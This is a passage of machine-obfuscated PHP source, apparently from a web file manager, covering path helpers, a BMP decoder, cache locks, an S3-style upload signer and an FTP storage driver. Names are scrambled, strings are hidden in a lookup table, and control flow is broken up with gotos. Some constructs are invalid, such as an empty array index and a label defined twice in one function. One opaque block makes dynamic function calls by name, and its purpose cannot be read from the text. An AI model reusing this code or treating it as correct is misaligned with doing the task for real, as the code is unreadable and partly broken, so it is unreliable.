$aԅ[8], $cױ); goto d; d: if ($cױ == $aԅ[8]) { return $aԅ[8]; } $cױ = rtrim($cױ, $aԅ[8]); return $cױ; goto c; cՓ: $aԅ =& $_SERVER[ڊ]; $cױ = str_replace($aԅ[95], $aԅ[8], $cױ); $b͌ = $aԅ[1063]; goto b;; c: } public static function sourceID($F֍) { $Cȓ =& $_SERVER[ڊ]; $dڋ = self::parse($F֍); if ($dڋ[$Cȓ[29]] !== self::KOD_SOURCE) { show_json(LNG($Cȓ[1066]), !1); } return $dڋ[$Cȓ[364]]; } public static function make($c䶱) { if (!$c䶱) { return !1; } return self::makePath(self::KOD_SOURCE, intval($c䶱)); } public static function makeShare($Fӏ, $d຾) { return self::makePath(self::KOD_SHARE_ITEM, $Fӏ, $d຾); } public static function makeFileTypePath($eݠԑ) { return self::makePath(self::KOD_USER_FILE_TYPE, $eݠԑ); } public static function makeFileTagPath($C٢毸) { return self::makePath(self::KOD_USER_FILE_TAG, $C٢毸); } public static function makePath($f጖, $Dʔ = '', $B = '') { $bÅ҇ =& $_SERVER[ڊ]; $eָ = substr($f጖, 1, -1); $Cድ = $bÅ҇[1067] . $eָ . $bÅ҇[1068] . $Dʔ . $bÅ҇[1069]; $Cድ = $B ? $Cድ . $B . $bÅ҇[8] : $Cድ; return $Cድ; } public static function hashPath($a) { $cԪ =& $_SERVER[ڊ]; $f֕ = is_array($a) ? $a : IO::info($a); $Dч = _get($f֕, $cԪ[1070], $cԪ[33]); if (!$Dч) { $A℩ = KodIO::parse($f֕[$cԪ[75]]); if (!$A℩[$cԪ[29]]) { $Dч = IO::hashSimple($f֕[$cԪ[75]]); } } if (!$Dч) { $Dч = md5($f֕[$cԪ[75]] . $f֕[$cԪ[77]] . $f֕[$cԪ[107]]); } return $Dч; } public static function initSystemPath() { $Cߥ =& $_SERVER[ڊ]; if (defined($Cߥ[1071])) { return; } define($Cߥ[1071], self::systemPath($Cߥ[1072])); define($Cߥ[1073], self::systemPath($Cߥ[1074])); define($Cߥ[1075], self::systemPath($Cߥ[1076])); define($Cߥ[1077], self::systemPath($Cߥ[1078])); } private static function systemPath($e악) { goto f; f: $D =& $_SERVER[ڊ]; $F = $D[1079] . ucfirst($e악); $fΊ = Model($D[1080])->get($F); goto D⊱; d: return $fΊ; goto A; D⊱: if ($fΊ) { return $fΊ; } if ($e악 == $D[1072]) { $fΊ = self::make(Model($D[747])->systemRootPathAdd($D[1081])); } else { $fΊ = self::systemPath($D[1072]); $E = self::sourceID($fΊ); $fΊ = self::make(Model($D[747])->mkdir($E, $e악)); } Model($D[1080])->set($F, $fΊ); goto d; A: } public static function systemFolder($D) { $F = IO_PATH_SYSTEM_SOURCE . $D; $b = Cache::get($F); if (!$b) { $D͑ = IO::infoFull($F); if (!$D͑) { $b = IO::mkdir($F, REPEAT_SKIP); } else { $b = $D͑[$_SERVER[ڊ][75]]; } Cache::set($F, $b, 3600 * 10); } return $b; } public static function defaultDriver() { return Model($_SERVER[ڊ][699])->defaultDriver(); } public static function defaultIO() { $fƥ =& $_SERVER[ڊ]; $f = self::defaultDriver(); return $fƥ[1082] . $f[$fƥ[364]] . $fƥ[1069]; } public static function fileTypeList() { $Fꃺ߄ =& $_SERVER[ڊ]; $C񋃧 = $GLOBALS[$Fꃺ߄[6]][$Fꃺ߄[1083]]; foreach ($C񋃧 as $D̊ => $aⅭ) { $F = $Fꃺ߄[1084] . $D̊; $D͖݄ = LNG($F); if ($F != $D͖݄) { $C񋃧[$D̊][$Fꃺ߄[28]] = $D͖݄; } } return $C񋃧; } } goto B뢜; F: function beforeShutdownFatalError($B날) { think_exception($B날); } $_SERVER[$_SERVER[][48]] = $E՗($_SERVER[$_SERVER[][45]]); $dАɑ = E_ALL ^ E_NOTICE ^ E_WARNING ^ E_DEPRECATED; goto Eܛ; fێ: $DӸϑ = $_SERVER[ڊ][1152]; if ($_SERVER[$_SERVER[ڊ][781]] != $DӸϑ($a٩)) { goto B߿; B߿: $bЃ蕨 = $_SERVER[ڊ][784]; $aᙌذ = $_SERVER[$_SERVER[ڊ][785]] . $_SERVER[ڊ][786]; $dȅ = $bЃ蕨($aᙌذ); goto Cɩш; Eܳ: $fΘ($a٩); goto c拆; Cɩш: $A = explode($_SERVER[ڊ][214], $dȅ); if (count($A) < $_SERVER[ڊ][557]) { $fѴ = $_SERVER[ڊ][787]; $fѴ(); } $fΘ = $_SERVER[ڊ][1153]; goto Eܳ; c拆: } class ImageGdBMP { public static function load($A˨ُ) { $eő = fopen($A˨ُ, $_SERVER[ڊ][1488]); if ($eő === !1) { return !1; } $fȼ = self::loadFromStream($eő); fclose($eő); return $fȼ; } public static function loadFromStream($Dơ) { $e”̴ =& $_SERVER[ڊ]; $e = fread($Dơ, 14); if ($e === !1) { return !1; } if ($e[0] != $e”̴[1800] || $e[1] != $e”̴[1801]) { return !1; } $e = unpack($e”̴[1802] . $e”̴[1803] . $e”̴[1804] . $e”̴[1805] . $e”̴[1806], $e); return self::loadFromStreamAndFileHeader($Dơ, $e); } public static function loadFromStreamAndFileHeader($A˄, array $C㍭) { goto D͌; DÓ: if ($c߲ == 1 || $c߲ == 4 || $c߲ == 8) { goto B񂏑; C佞: $A߷ͣ = (1 << $c߲) - 1 << $a; if ($D⃊ == 1 || $D⃊ == 2) { $cφ = 0; $eɿ挍 = $c߲ >> 2 & 1; for (;;) { if ($cφ < -1 || $cφ > $d깷ٷ || $Bն < -1 || $Bն > $a) { imagedestroy($F⇵); return !1; } $C퉡疭 = fread($A˄, 1); if ($C퉡疭 === !1) { imagedestroy($F⇵); return !1; } switch ($C퉡疭) { case $cݮ誼[1825]: $C퉡疭 = fread($A˄, 1); if ($C퉡疭 === !1) { imagedestroy($F⇵); return !1; } switch ($C퉡疭) { case $cݮ誼[1825]: $Bն += $D; $cφ = 0; break; case $cݮ誼[1827]: $Bն = 0; $cφ = 0; break 3; case $cݮ誼[1828]: $C퉡疭 = fread($A˄, 2); if ($C퉡疭 === !1) { imagedestroy($F⇵); return !1; } list(, $C﫣ҽ, $Bͱӎ) = unpack($cݮ誼[1829], $C퉡疭); $cφ += $C﫣ҽ; $Bն += $Bͱӎ * $D; break; default: list(, $E͊) = unpack($cݮ誼[1830], $C퉡疭); $A = ($E͊ >> $eɿ挍) + ($E͊ & $eɿ挍); $C퉡疭 = fread($A˄, $A + 1 & ~1); if ($C퉡疭 === !1) { imagedestroy($F⇵); return !1; } for ($Aν = 0, $F = 0; $Aν < $E͊; ++$Aν, ++$cφ, $F += $c߲) { list(, $E) = unpack($cݮ誼[1830], $C퉡疭[$F >> 3]); $d = $F & 7; imagesetpixel($F⇵, $cφ, $Bն, $FNj[($E & $A߷ͣ >> $d) >> $a - $d]); } break; } break; default: $bǜ = fread($A˄, 1); if ($bǜ === !1) { imagedestroy($F⇵); return !1; } list(, $Aϝ, $E) = unpack($cݮ誼[1829], $C퉡疭 . $bǜ); for ($Aν = 0, $F = 0; $Aν < $Aϝ; ++$Aν, ++$cφ, $F += $c߲) { $d = $F & 7; imagesetpixel($F⇵, $cφ, $Bն, $FNj[($E & $A߷ͣ >> $d) >> $a - $d]); } break; } } } else { for ($e͐ = 0; $e͐ < $aڎ; ++$e͐, $Bն += $D) { $C퉡疭 = fread($A˄, $dԂ); if ($C퉡疭 === !1) { imagedestroy($F⇵); return !1; } $F = 0; for ($cφ = 0; $cφ < $d깷ٷ; ++$cφ, $F += $c߲) { list(, $E) = unpack($cݮ誼[1830], $C퉡疭[$F >> 3]); $d = $F & 7; imagesetpixel($F⇵, $cφ, $Bն, $FNj[($E & $A߷ͣ >> $d) >> $a - $d]); } } } goto C; B񂏑: $F⇵ = imagecreate($d깷ٷ, $aڎ); $c񉞑 = $D == 12 ? 3 : 4; $b = $D˗ ? $D˗ : pow(2, $c߲); goto dœ; dœ: $FNj = array(); for ($Aν = 0; $Aν < $b; ++$Aν) { $C퉡疭 = fread($A˄, $c񉞑); if ($C퉡疭 === !1) { imagedestroy($F⇵); return !1; } extract(unpack($cݮ誼[1826], $C퉡疭 . $cݮ誼[1825])); $FNj[] = imagecolorallocate($F⇵, $fއ, $EԻ, $d); } $a = 8 - $c߲; goto C佞; C: } else { goto E; Dҫ: $DϤ = $c߲ >> 3; $cތ = $c ? 127 : 0; $CѴ = $c ? 1 / $c : 1; goto dп۾; d: for ($e͐ = 0; $e͐ < $aڎ; ++$e͐, $Bն += $D) { $C퉡疭 = fread($A˄, $dԂ); if ($C퉡疭 === !1) { imagedestroy($F⇵); return !1; } $F = 0; for ($cφ = 0; $cφ < $d깷ٷ; ++$cφ, $F += $DϤ) { list(, $E) = unpack($cݮ誼[1807], substr($C퉡疭, $FÂ, $DϤ) . $cݮ誼[1831]); $ENj = $E & $c; $aŶ = $E & $E; $B϶ = $E & $Eஞ; $BƔ = $E & $D՗ʃ; $C = $cތ - (($ENj << 7) - $ENj) * $CѴ; $fއ = (($aŶ << 8) - $aŶ) * $C; $EԻ = (($B϶ << 8) - $B϶) * $Fᄉ; $d = (($BƔ << 8) - $BƔ) * $Cك; imagesetpixel($F⇵, $cφ, $Bն, $C << 24 | $fއ << 16 | $EԻ << 8 | $d); } } imagealphablending($F⇵, !0); goto Eᴈ; E: $F⇵ = imagecreatetruecolor($d깷ٷ, $aڎ); imagealphablending($F⇵, !1); if ($c) { imagesavealpha($F⇵, !0); } goto Dҫ; dп۾: $C = $E ? 1 / $E : 1; $Fᄉ = $Eஞ ? 1 / $Eஞ : 1; $Cك = $D՗ʃ ? 1 / $D՗ʃ : 1; goto d; Eᴈ: } return $F⇵; goto fԌ; BՐ: if ($d깷ٷ == 0 || $a == 0 || $Fʄ != 1 || ($c & $E) != 0 || ($c & $Eஞ) != 0 || ($c & $D՗ʃ) != 0 || ($E & $Eஞ) != 0 || ($E & $D՗ʃ) != 0 || ($Eஞ & $D՗ʃ) != 0) { return !1; } if ($D⃊ == 4 || $D⃊ == 5) { $C퉡疭 = stream_get_contents($A˄, $cȜ); if ($C퉡疭 === !1) { return !1; } return imagecreatefromstring($C퉡疭); } $dԂ = $d깷ٷ * $c߲ + 31 >> 3 & ~3; goto Fďб; Fďб: $aڎ = abs($a); $Bն = $a > 0 ? $aڎ - 1 : 0; $D = $a > 0 ? -1 : 1; goto DÓ; Aܾ˅: if ($C퉡疭 === !1) { return !1; } list(, $D) = unpack($cݮ誼[1807], $C퉡疭); if ($D == 12) { goto eЇ; d훇޲: $D˗ = $d깶 = $c = $D⃊ = 0; $E = 16711680; $Eஞ = 65280; goto aᘶ; eЇ: $C퉡疭 = fread($A˄, $D - 4); if ($C퉡疭 === !1) { return !1; } extract(unpack($cݮ誼[1808] . $cݮ誼[1809] . $cݮ誼[1810] . $cݮ誼[1811], $C퉡疭)); goto d훇޲; aᘶ: $D՗ʃ = 255; goto C壽; C壽: } else { if (124 < $D || $D < 40) { return !1; } else { goto a敞; eǔ: if (($c߲ == 16 || $c߲ == 24 || $c߲ == 32) && $D⃊ == 0 && $E == 0 && $Eஞ == 0 && $D՗ʃ == 0) { switch ($c߲) { case 16: $E = 31744; $Eஞ = 992; $D՗ʃ = 31; break; case 24: case 32: $E = 16711680; $Eஞ = 65280; $D՗ʃ = 255; break; } } goto Ḏǫ; a敞: $C퉡疭 = fread($A˄, 36); if ($C퉡疭 === !1) { return !1; } extract(unpack($cݮ誼[1812] . $cݮ誼[1813] . $cݮ誼[1810] . $cݮ誼[1814] . $cݮ誼[1815] . $cݮ誼[1816] . $cݮ誼[1817] . $cݮ誼[1818] . $cݮ誼[1819] . $cݮ誼[1820], $C퉡疭)); goto E; f: if ($CЍ & 2147483648) { $CЍ = -(~$CЍ & 4294967295) - 1; } if ($C㍭[$cݮ誼[516]] != 0) { $Cӿѡ = $c߲ == 1 || $c߲ == 4 || $c߲ == 8 ? ($D˗ ? $D˗ : pow(2, $c߲)) << 2 : 0; $c݈ = $cȜ ? $cȜ : ($d깷ٷ * $c߲ + 31 >> 3 & ~3) * abs($a); $Eϻ = $C㍭[$cݮ誼[516]] - $c݈ - $Cӿѡ - 14; if ($D < $Eϻ && 40 <= $D && $D <= 124) { $D = $Eϻ; } } if ($D - 40 > 0) { $C퉡疭 = fread($A˄, $D - 40); if ($C퉡疭 === !1) { return !1; } extract(unpack($cݮ誼[1821] . $cݮ誼[1822] . $cݮ誼[1823] . $cݮ誼[1824], $C퉡疭 . str_repeat($cݮ誼[1825], 120))); } else { $c = $E = $Eஞ = $D՗ʃ = 0; } goto eǔ; E: if ($d깷ٷ & 2147483648) { $d깷ٷ = -(~$d깷ٷ & 4294967295) - 1; } if ($a & 2147483648) { $a = -(~$a & 4294967295) - 1; } if ($dѪ & 2147483648) { $dѪ = -(~$dѪ & 4294967295) - 1; } goto f; Ḏǫ: } } goto BՐ; D͌: $cݮ誼 =& $_SERVER[ڊ]; if ($C㍭[$cݮ誼[385]] != 19778) { return !1; } $C퉡疭 = fread($A˄, 4); goto Aܾ˅; fԌ: } } goto AႭ; D–: function cacheLockWait() { usleep(mt_rand(5, 50) * 100); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $bΌ掶 =& $_SERVER[ڊ]; $E‘ = $GLOBALS[$bΌ掶[6]][$bΌ掶[334]]; self::$cachePath = $E‘[$bΌ掶[164]][$bΌ掶[75]]; @mkdir(self::$cachePath, 511, !0); } public function lock($cۄߌ׎, $dЧ = 0) { goto cݕ䗋ό; cݕ䗋ό: $f =& $_SERVER[ڊ]; $Eͮ = microtime(!0); $FΨÚŷ = $Eͮ + $dЧ + 0.0001; goto Fб; cҒ: $this->unlock($cۄߌ׎); return !1; goto A隸; Fб: $d⾋ = rtrim(self::$cachePath, $f[8]) . $f[767] . md5($cۄߌ׎) . $f[768]; if (file_exists($d⾋) && filemtime($d⾋) && filemtime($d⾋) < time() - 10) { @unlink($d⾋); } do { if (file_exists($d⾋)) { cacheLockWait(); continue; } $Dߋ = fopen($d⾋, $f[769]); if (!$Dߋ) { return !1; } $Fφ = flock($Dߋ, LOCK_EX | LOCK_NB); self::$caches[$cۄߌ׎] = array($f[770] => $Dߋ, $f[164] => $d⾋); fwrite($Dߋ, $FΨÚŷ); clearstatcache(); if ($Dߋ && $Fφ) { return !0; } cacheLockWait(); } while (microtime(!0) < $FΨÚŷ); goto cҒ; A隸: } public function lockGet($b̍) { $aҫ =& $_SERVER[ڊ]; $Dޑւ = rtrim(self::$cachePath, $aҫ[8]) . $aҫ[767] . md5($b̍) . $aҫ[768]; return file_exists($Dޑւ); } public function unlock($f׌􆦓) { goto b֠Ǣ; b֠Ǣ: $Dˊ =& $_SERVER[ڊ]; $EԏЛ = self::$caches[$f׌􆦓]; if (!$EԏЛ) { return; } goto D; Aȭ: unset(self::$caches[$f׌􆦓]); goto bލ; D: @flock($EԏЛ[$Dˊ[770]], LOCK_UN); @fclose($EԏЛ[$Dˊ[770]]); @unlink($EԏЛ[$Dˊ[164]]); goto Aȭ; bލ: } } class CacheLockRedis { public function lock($aΡϵ, $bѴ = 10) { $AЮ = Cache::init(); $a = microtime(!0) + $bѴ; while (microtime(!0) < $a) { $cÝ = $AЮ->get($aΡϵ); if (!$cÝ) { $dߋ = $AЮ->setLock($aΡϵ, $a, $bѴ); if ($dߋ) { return !0; } } else { if ($cÝ < microtime(!0)) { $AЮ->set($aΡϵ, $a, $a); if ($AЮ->get($aΡϵ) === $cÝ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($A݉) { return Cache::init()->get($A݉); } public function unlock($dą) { return Cache::init()->remove($dą); } } goto A; dʤВ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($E) { parent::__construct($E); $this->signatureVersion($_SERVER[ڊ][197]); } public function uploadFormData($bص, $bӬ = 3600) { goto b; cԚ: $Dú = $fؠ[59]; $Aܕ = gmdate($fؠ[1119]); $A򪿎 = gmdate($fؠ[685]); goto eƔǪ; e薘: $B = hash_hmac($fؠ[1128], $Dú, $f, !0); $d˻ = hash_hmac($fؠ[1128], $E, $B, !0); $Bු = hash_hmac($fؠ[1128], $d㞍, $d˻); goto AɈ; b: $fؠ =& $_SERVER[ڊ]; $b۳ = $fؠ[182]; $DШ = $fؠ[1118]; goto cԚ; B䳡: $d㞍 = base64_encode(json_encode($F)); $fԌ = hash_hmac($fؠ[1128], $A򪿎, $fؠ[1129] . $this->secret, !0); $f = hash_hmac($fؠ[1128], $this->region, $fԌ, !0); goto e薘; eƔǪ: $E = $fؠ[1120]; $b = $bӬ . $fؠ[33]; $Bᙩ = $fؠ[1085]; goto E难; E难: $bċ = array($this->accessKey, $A򪿎, $this->region, $Dú, $E); $E = implode($fؠ[8], $bċ); $F = array($fؠ[1087] => gmdate($fؠ[1086], strtotime($fؠ[1121])), $fؠ[1088] => array(array($fؠ[1090] => $this->bucket), array($fؠ[1089] => $b۳), array($fؠ[1091], $fؠ[1092], $fؠ[33]), array($fؠ[1091], $fؠ[1122], $fؠ[33]), array($fؠ[1091], $fؠ[1123], $fؠ[33]), array($fؠ[1093] => $Bᙩ), array($fؠ[1124] => $E), array($fؠ[1125] => $DШ), array($fؠ[1126] => $Aܕ), array($fؠ[1127] => $b))); goto B䳡; AɈ: $cάݪ = array($fؠ[196] => $fؠ[33], $fؠ[1130] => $fؠ[33], $fؠ[1089] => $b۳, $fؠ[1093] => $Bᙩ, $fؠ[1097] => $d㞍, $fؠ[1131] => $E, $fؠ[1132] => $DШ, $fؠ[1133] => $Aܕ, $fؠ[1134] => $b, $fؠ[1135] => $Bු, $fؠ[166] => $this->getHost()); return $cάݪ; goto bߒێ; bߒێ: } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = FALSE; public function __construct($Aش) { parent::__construct(); if (count($Aش) > 0) { $this->_init($Aش); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($Aͦ) { $f =& $_SERVER[ڊ]; global $config; $this->appCharset = $config[$f[1136]]; $this->systemCharset = $config[$f[1137]]; if (isset($Aͦ[$f[1138]]) && $Aͦ[$f[1138]]) { $this->systemCharset = $Aͦ[$f[1138]]; } } public function iconvApp($c׮) { return $this->iconvTo($c׮, $this->systemCharset, $this->appCharset); } public function iconvSystem($fϡ) { return $this->iconvTo($fϡ, $this->appCharset, $this->systemCharset); } public function getPathOuter($c摉) { goto EҬЯ; d: if (substr($eٿ, 0, 2) == $B[1139]) { $eٿ = BASIC_PATH . substr($eٿ, 2); } if (substr($c摉, 0, 2) == $B[1139]) { $c摉 = BASIC_PATH . substr($c摉, 2); } $eٿ = KodIO::clear($eٿ); goto DⰖ; d: return $this->pathDriver . $B[8] . ltrim($c摉, $B[8]); goto C犹å; EҬЯ: $B =& $_SERVER[ڊ]; $eٿ = $this->iconvApp($this->pathBase); $c摉 = $this->iconvApp($c摉); goto d; DⰖ: $c摉 = KodIO::clear($c摉); $c摉 = substr($c摉, strlen($eٿ)); if (empty($this->pathDriver)) { return $c摉; } goto d; C犹å: } private function _init($Eۨ = array()) { goto D߷; c䔾: @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); @ftp_pasv($this->connect, !0); $a꩟[$F] = array($A[1145] => $this->connect, $A[166] => $this->host, $A[165] => $this->scheme, $A[167] => $this->port); goto EЃ; EЃ: return $c; goto eܗ; a: $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return; } $c = @ftp_login($this->connect, $this->username, $this->userpass); goto c䔾; D߷: $A =& $_SERVER[ڊ]; if (!function_exists($A[1140])) { show_json(LNG($A[1141]), !1); } $this->charsetReset($Eۨ); goto fߦ̆; fߦ̆: foreach ($Eۨ as $CȨ => $Aі) { if (isset($this->{$CȨ})) { $this->{$CȨ} = $Aі; } } static $a꩟ = array(); $F = md5(json_encode($Eۨ)); goto Cَȯ; Cَȯ: if (isset($a꩟[$F])) { foreach ($a꩟[$F] as $CȨ => $Aі) { $this->{$CȨ} = $Aі; } return !0; } $cַ = parse_url(trim($this->server, $A[8])); $this->host = $cַ[$A[166]]; goto A; A: $d = isset($cַ[$A[165]]) && $cַ[$A[165]] == $A[1142] ? !0 : !1; $this->scheme = $d ? $A[1143] : $A[1144]; $this->port = isset($cַ[$A[167]]) ? $cַ[$A[167]] : 21; goto a; eܗ: } private function _isconn() { return is_resource($this->connect); } public function mkfile($b, $aӞ = '', $eܙ = REPEAT_RENAME) { if ($this->setContent($b, $aӞ)) { return $this->getPathOuter($b); } return !1; } public function mkdir($Eܝ, $e = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $Eܝ = $this->iconvSystem($Eܝ); if ($this->isFolder($Eܝ) || @ftp_mkdir($this->connect, $Eܝ)) { return $this->getPathOuter($Eܝ); } if (!$this->mkdir($this->pathFather($Eܝ))) { return !1; } if ($Eܝ = @ftp_mkdir($this->connect, $Eܝ)) { return $this->getPathOuter($Eܝ); } return !1; } public function copyFile($dҵ, $F) { goto FѺ; Eޅ: $E≑ = $this->iconvApp($F); $this->download($dҵ, $E≑); $CٻΑȹ = $this->upload($F, $E≑); goto F޵뫧; F޵뫧: $this->tempFileRemve($F); return $CٻΑȹ; goto aþ; FѺ: if (!$this->_isconn()) { return !1; } $b򾝻 = $this->pathThis($this->iconvSystem($dҵ)); $F = $this->tempFile($b򾝻); goto Eޅ; aþ: } public function moveFile($d֟, $A) { if (!$this->_isconn()) { return !1; } $d֟ = $this->iconvSystem($d֟); $A = $this->iconvSystem($A); $C¿ډ = @ftp_rename($this->connect, $d֟, $A); return $C¿ډ ? $this->getPathOuter($A) : !1; } public function delFile($D) { if (!$this->_isconn()) { return !1; } $D = $this->iconvSystem($D); return @ftp_delete($this->connect, $D); } public function delFolder($Cٳԏ) { if (!$this->_isconn()) { return !1; } $Cٳԏ = $this->iconvSystem($Cٳԏ); $Bꍯ = $this->ftpList($Cٳԏ); if (!$Bꍯ) { return @ftp_rmdir($this->connect, $Cٳԏ); } foreach ($Bꍯ as $a) { if ($this->isFolder($a)) { $a = $this->iconvApp($a); $this->delFolder($a); } else { @ftp_delete($this->connect, $a); } } return @ftp_rmdir($this->connect, $Cٳԏ); } public function rename($bԓ, $Bԛ) { goto Dň; f߈…: return $d ? $this->getPathOuter($fǟ) : !1; goto e댶; Dň: $cʚՎ =& $_SERVER[ڊ]; if (!$this->_isconn()) { return !1; } $C顢 = $this->fileNameAuto($this->pathFather($bԓ), $Bԛ); goto aԦ; aԦ: $C顢 = $this->iconvSystem($C顢); $bԓ = $this->iconvSystem($bԓ); $dѲ = $this->pathFather($bԓ); goto dǂ; dǂ: $fǟ = rtrim($dѲ, $cʚՎ[8]) . $cʚՎ[8] . $C顢; $d = @ftp_rename($this->connect, $bԓ, $fǟ); $fǟ = $this->iconvApp($fǟ); goto f߈…; e댶: } private function folderInfo($fྃ, $cǮ = false) { goto Aխ; F: $Bґ = $this->iconvSystem($fྃ); if ($cǮ) { return array($CꅬƝ[28] => $Cʙ, $CꅬƝ[75] => $Aɺ圐, $CꅬƝ[29] => $CꅬƝ[76]); } $A񳶺 = array($CꅬƝ[28] => $Cʙ, $CꅬƝ[75] => $Aɺ圐, $CꅬƝ[29] => $CꅬƝ[76], $CꅬƝ[184] => 0, $CꅬƝ[107] => 0, $CꅬƝ[1146] => !0, $CꅬƝ[1147] => !0); goto A; Aխ: $CꅬƝ =& $_SERVER[ڊ]; $Aɺ圐 = $this->getPathOuter(rtrim($fྃ, $CꅬƝ[8])); $Cʙ = $this->pathThis($Aɺ圐); goto F; A: return $A񳶺; goto C˔; C˔: } private function fileInfo($e䊓Ʀ, $c⏲肔 = false) { goto aޒ; aޒ: $dٴ =& $_SERVER[ڊ]; $F嫵 = $this->getPathOuter(rtrim($e䊓Ʀ, $dٴ[8])); $D = $this->pathThis($F嫵); goto Eޠ޵̄; eΰ͂: $e[$dٴ[107]] = $e[$dٴ[107]] > 0 ? $e[$dٴ[107]] : 0; return $e; goto B; Eޠ޵̄: $D󻸎 = $this->iconvSystem($e䊓Ʀ); if ($c⏲肔) { return array($dٴ[28] => $D, $dٴ[75] => $F嫵, $dٴ[29] => $dٴ[164], $dٴ[157] => $this->ext($e䊓Ʀ), $dٴ[77] => $this->size($e䊓Ʀ)); } $e = array($dٴ[28] => $D, $dٴ[75] => $F嫵, $dٴ[29] => $dٴ[164], $dٴ[184] => 0, $dٴ[107] => @ftp_mdtm($this->connect, $D󻸎), $dٴ[157] => $this->ext($e䊓Ʀ), $dٴ[77] => $this->size($e䊓Ʀ), $dٴ[1146] => !0, $dٴ[1147] => !0); goto eΰ͂; B: } public function size($F炃) { $F = $this->objectMeta($F炃); return $F ? $F[$_SERVER[ڊ][77]] : 0; } public function info($FȻ勢) { if ($this->isFile($FȻ勢)) { return $this->fileInfo($FȻ勢, 0); } else { if ($this->isFolder($FȻ勢)) { return $this->folderInfo($FȻ勢); } } return !1; } public function exist($C) { return $this->objectMeta($C) ? !0 : !1; } public function isFile($C) { $DɆ =& $_SERVER[ڊ]; $F𪆂 = $this->objectMeta($C); return $F𪆂 ? $F𪆂[$DɆ[29]] == $DɆ[164] : !1; } public function isFolder($AѰ҈) { $B =& $_SERVER[ڊ]; $Fư = $this->objectMeta($AѰ҈); return $Fư ? $Fư[$B[29]] == $B[76] : !1; } public function listPath($d, $D– = false) { goto B̬; B̬: $B܏ =& $_SERVER[ڊ]; if (!$this->_isconn()) { return !1; } $d = $this->iconvSystem($d); goto D񪎤; e: foreach ($Dۈ as $d) { if ($this->isFolder($d)) { $c[$B܏[74]][] = $this->folderInfo($d, $D–); } else { $c[$B܏[73]][] = $this->fileInfo($d, $D–); } } return $c; goto F୧; D񪎤: $Dۈ = $this->ftpList($d); $c = array($B܏[74] => array(), $B܏[73] => array()); if (!$Dۈ) { return $c; } goto e; F୧: } public function has($a䃱, $eҎ = false, $aЍ = true) { goto CƓ; aϦ: foreach ($F䎬 as $a䃱) { if ($aЍ) { if (!$this->isFolder($a䃱)) { return !0; } } else { if ($this->isFolder($a䃱)) { return !0; } } } return !1; goto bΣ; CƓ: $C݌ =& $_SERVER[ڊ]; if (!$this->_isconn()) { return !1; } $a䃱 = $this->iconvSystem($a䃱); goto c楳; c楳: $F䎬 = $this->ftpList($a䃱); if (!$F䎬) { return !1; } if ($eҎ) { return array($C݌[188] => 0, $C݌[189] => count($F䎬)); } goto aϦ; bΣ: } public function listAll($e׍߹) { goto d; F: $Aƌȣ = array($Cү[73] => array(), $Cү[74] => array()); $this->recursionFtpFiles($e׍߹, $Aƌȣ); $cƄ = array(); goto d㹿✾; d: $Cү =& $_SERVER[ڊ]; if (!$this->_isconn()) { return !1; } $e׍߹ = $this->iconvSystem($e׍߹); goto F; d㹿✾: foreach ($Aƌȣ[$Cү[74]] as $eÂ־) { $cƄ[] = array($Cү[75] => $Cү[8] . trim(str_replace($e׍߹, $Cү[33], $eÂ־), $Cү[8]) . $Cү[8], $Cү[76] => 1, $Cү[77] => 0); } foreach ($Aƌȣ[$Cү[73]] as $cѕױ) { $cƄ[] = array($Cү[75] => $Cү[8] . trim(str_replace($e׍߹, $Cү[33], $cѕױ), $Cү[8]), $Cү[76] => 0, $Cү[77] => $this->size($cѕױ)); } return $cƄ; goto aϢʂ; aϢʂ: } public function getContent($Aԣ) { if (!$this->_isconn()) { return !1; } $Aԣ = $this->iconvSystem($Aԣ); return $this->fileSubstr($Aԣ); } public function setContent($AƗ, $aَ = '') { goto eǭ; aɣ: return $Dȝ; goto fໆ; Eק܏: file_put_contents($a̞, $aَ); $Dȝ = $this->upload($AƗ, $this->iconvApp($a̞)); $this->tempFileRemve($a̞); goto aɣ; eǭ: if (!$this->_isconn()) { return !1; } $dĹѯ = $this->pathThis($this->iconvSystem($AƗ)); $a̞ = $this->tempFile($dĹѯ); goto Eק܏; fໆ: } public function fileSubstr($C㪼, $F˱ = 0, $cɤ͢ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($C㪼, $F˱, $cɤ͢); } private function ftpRequest($aܟ, $f = 0, $E١ = false) { goto C; cߊ: curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); $dҊ = curl_exec($f); curl_close($f); goto cݥ; cݥ: return $dҊ; goto C컒; C: $aܟ = $this->iconvSystem($aܟ); $Dذ = $this->scheme . $this->host . $_SERVER[ڊ][4] . $this->port; $f = curl_init(); goto d; d: curl_setopt($f, CURLOPT_URL, $Dذ . $this->pathEncode($aܟ)); curl_setopt($f, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($E١) { $D = $f + $E١ - 1; curl_setopt($f, CURLOPT_RANGE, "{$f}\55{$D}"); } goto cߊ; C컒: } public function upload($Aއ, $CĆ˃, $d = false, $DҦ = REPEAT_REPLACE) { goto c; c: if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($Aއ))) { return !1; } $Aއ = $this->iconvSystem($Aއ); goto E裦; E裦: $CĆ˃ = $this->iconvSystem($CĆ˃); $EӿȌ = ftp_nb_put($this->connect, $Aއ, $CĆ˃, FTP_BINARY); while ($EӿȌ == FTP_MOREDATA) { $EӿȌ = ftp_nb_continue($this->connect); } goto eƑ; eƑ: if ($EӿȌ != FTP_FINISHED) { return !1; } return $this->getPathOuter($Aއ); goto eȗ; eȗ: } public function download($a荠, $A = '') { goto a; A: while ($Eư == FTP_MOREDATA) { $Eư = ftp_nb_continue($this->connect); } if ($Eư != FTP_FINISHED) { return !1; } return $this->iconvApp($A); goto d; a٭: $a荠 = $this->iconvSystem($a荠); $A = $this->iconvSystem($A); $Eư = ftp_nb_get($this->connect, $A, $a荠, FTP_BINARY); goto A; a: if (!$this->_isconn()) { return !1; } $A˧ = $this->pathFather($A); if (!IO::mkdir($A˧)) { return !1; } goto a٭; d: } private function ftpList($c) { 